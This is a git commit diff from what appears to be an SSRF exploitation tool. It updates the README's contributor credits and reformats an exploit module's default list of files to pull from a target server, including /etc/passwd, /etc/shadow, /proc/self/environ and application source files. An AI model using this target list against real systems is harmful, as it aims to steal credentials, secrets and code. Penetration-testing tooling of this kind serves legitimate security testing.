Adding new contributors to the readme

pull/53/head
Swissky 2024-06-08 21:21:03 +02:00
parent d24997464e
commit 404e0a49aa
2 changed files with 20 additions and 3 deletions

View File

@ -206,7 +206,12 @@ You can also contribute with a beer IRL or via Github Sponsor button.
### Thanks to the contributors ### Thanks to the contributors
- [ttffdd](https://github.com/ttffdd) <p align="center">
<a href="https://github.com/swisskyrepo/SSRFmap/graphs/contributors">
<img src="https://contrib.rocks/image?repo=swisskyrepo/SSRFmap&max=36">
</a>
</p>
## Inspired by ## Inspired by

View File

@ -12,12 +12,24 @@ class exploit():
def __init__(self, requester, args): def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !") logging.info(f"Module '{name}' launched !")
self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"] self.files = args.targetfiles.split(',') if args.targetfiles != None else [
"/etc/passwd",
"/etc/lsb-release",
"/etc/shadow",
"/etc/hosts",
"\/\/etc/passwd",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/cwd/index.php",
"/proc/self/cwd/application.py",
"/proc/self/cwd/main.py",
"/proc/self/exe"
]
self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])} self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
r = requester.do_request(args.param, "") r = requester.do_request(args.param, "")
if r != None: if r is not None:
default = r.text default = r.text
# Create directory to store files # Create directory to store files